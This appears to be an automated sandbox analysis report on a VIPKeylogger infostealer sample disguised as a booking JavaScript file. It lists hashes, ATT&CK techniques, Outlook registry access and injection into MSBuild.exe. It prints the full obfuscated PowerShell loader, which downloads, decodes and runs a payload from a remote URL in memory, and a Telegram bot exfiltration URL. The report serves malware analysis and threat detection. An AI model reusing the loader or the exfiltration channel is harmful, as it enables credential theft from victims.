vipkeylogger | dfdd7bb776c5875ea750bdbcb5a4f00d56b3d219aa50d229fc7047f90d2c0419

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/08/2026, 03:16

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General

Target
Velimed_Group_Booking.js
Size 1.0MB
Sample260820-dsm6msyfna
SHA256 dfdd7bb776c5875ea750bdbcb5a4f00d56b3d219aa50d229fc7047f90d2c0419
MD5 0943f8ed9154b6cbf8a848f71144971b
SHA1 8581fb10da8d58e4036445ed615d85d65f0b5d87
SHA512 d0895389afcd565500bd3474a036dbdb7a9bf55201b6aa19578ea9144efcf5f9da03884010dfe142f740dba890e58fbcbccc86eb0538a2c686b904dd7c5b0554
SSDEEP 192:N7sSKD8KBmTg7skWyjBmTBmTv0mTWyjWyj9g7sVLg7suM5yjBmTvycuykD6SKWy0:47Nmn+tGoR7/meoKe2oL
TLSH
T1B4356C4AB760B08B5936263BDC9F2D2313B507772EF03614781D5E80A1366EF9772B62
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution vipkeylogger keylogger stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://long-wildflower-b4f5.gustavosoftware.workers.dev/

Extracted

Family

vipkeylogger

https://api.telegram.org/bot8690461120:AAFZn16zpaFYhkHVuADufcddzABHlICIrXo/sendMessage?chat_id=7388953110

Signatures

Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1276	4380	powershell.exe	87

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1276	powershell.exe
8	1276	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1276	powershell.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
9	checkip.dyndns.org
11	reallyfreegeoip.org
12	reallyfreegeoip.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1276 set thread context of 4184	1276	powershell.exe	92

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1276	powershell.exe
1276	powershell.exe
1276	powershell.exe
1276	powershell.exe
4184	MSBuild.exe
4184	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1276	powershell.exe
Token: SeDebugPrivilege	4184	MSBuild.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1276 wrote to memory of 3236	1276	powershell.exe	91
PID 1276 wrote to memory of 4184	1276	powershell.exe	92
PID 1276 wrote to memory of 4184	1276	powershell.exe	92
PID 1276 wrote to memory of 4184	1276	powershell.exe	92
PID 1276 wrote to memory of 4184	1276	powershell.exe	92
PID 1276 wrote to memory of 4184	1276	powershell.exe	92

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Velimed_Group_Booking.js
1⤵
PID:4316

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$Rhadamanthine=''https://long-wildflower-b4f5.gustavosoftware.workers.dev/''; $guaiakinoltepileptic = [System.Net.HttpWebRequest]::Create($Rhadamanthine); $guaiakinoltepileptic.UserAgent = ''Mozilla/5.0''; $metapepsis = $guaiakinoltepileptic.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($metapepsis); $precache = $reader.ReadtoEnd(); $lappering=''IN-''; $fuero=''-in1''; $glycols=[string]::IndexOf($precache, $lappering); $boskopoid=$precache.LastIndexOf($fuero); if($glycols -eq -1 -or $boskopoid -eq -1){return}; $aprosmictus=$glycols+$lappering.Length; $uncapping=$precache.Substring($precache.IndexOf($lappering)+$lappering.Length, $boskopoid-($precache.IndexOf($lappering)+$lappering.Length)); $tibit=$uncapping.Replace(''*'',''A'').ToCharArray(); $morphogens = -join $tibit[($tibit.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($morphogens)); $fakers=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $mornward=$fakers.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $tenerity=(''2dvGP4EA9nu1rBRU3xVKbNtKHunFGF0QkXFNi7DwNmF0U6Vwl2WnYZvhaPmR3OvY6Zi/SyqS9npMnyk3JRq1p9ggYt71DsrS2/lnIwhbE94='','''',''oK6WLFyQ5Zqo1cH4+YMgKIPg86w9gQgEvjSpR6ITk/hQ1kkSkKhuKAU1odPbhjQB'',''2b1iHFir+g0V+5nn1FBhZYyWZnzCVkD4UBc+zGE3qfk='',''fYg6NiLzzxkdoIEFsji+VGTB7IKBEgOuB1VzorHCkAo='','''',''iQ4pCEg8xLmFC10NSKm4i46z3kJGZgJUetp59j8cJCg='','''',''RDAy+RzEmKk6Qf9p0Kz0LSThIc2hX4VhGSqP6bzH84o='',''bCbCal23AFPtbHSDVbT2aTE7VwkyZG4N9JhP7QzWKAL2F6cYo+1F/iUc0oPorAFK'',''IpeSuZaScIQJ3qTuEWor1+WlPDfbCJAI0LK2/k+LYCw='',''cbnzT30IQ7QXJosIKtKDIoJHgICT5PEqwXz0XHn4m08='',''73glXKdFpz3Ko0Z42UV1Lakaqj9M9cEDMMSPjEIJSsg='','''',''+lYJcqZey8KxATZ6kT/V7c8d+qeGVULdJlN88sTzFuM='',''FtnVNq4ULU7e92Fh2+3KngQGI1MvyAQK4f+1fPJuDRo='','''','''',''''); try{$perchery=($mornward.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($perchery.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$tenerity)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1276
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:3236
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:4184

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_q4fggq2x.y5u.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4fggq2x.y5u.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1276-0-0x00000169F5F30000-0x00000169F5F40000-memory.dmp

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memory/1276-1-0x00000169F5F30000-0x00000169F5F40000-memory.dmp

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memory/1276-4-0x00000169F88D0000-0x00000169F88F2000-memory.dmp

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memory/1276-10-0x00000169F5F30000-0x00000169F5F40000-memory.dmp

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memory/1276-11-0x00000169F8A60000-0x00000169F8B30000-memory.dmp

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memory/1276-12-0x00000169F8EA0000-0x00000169F8EB2000-memory.dmp

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memory/1276-13-0x00000169F5F20000-0x00000169F5F2A000-memory.dmp

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memory/4184-14-0x0000000000400000-0x0000000000442000-memory.dmp

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memory/4184-17-0x0000000005790000-0x0000000005D34000-memory.dmp

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memory/4184-18-0x00000000051E0000-0x000000000527C000-memory.dmp

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memory/4184-19-0x0000000005460000-0x0000000005470000-memory.dmp

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memory/4184-20-0x0000000005460000-0x0000000005470000-memory.dmp

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memory/4184-21-0x0000000006790000-0x0000000006952000-memory.dmp

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memory/4184-22-0x0000000006640000-0x0000000006690000-memory.dmp

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memory/4184-23-0x0000000006EA0000-0x00000000073CC000-memory.dmp

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memory/4184-24-0x00000000069D0000-0x0000000006A62000-memory.dmp

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memory/4184-25-0x0000000006AB0000-0x0000000006ABA000-memory.dmp

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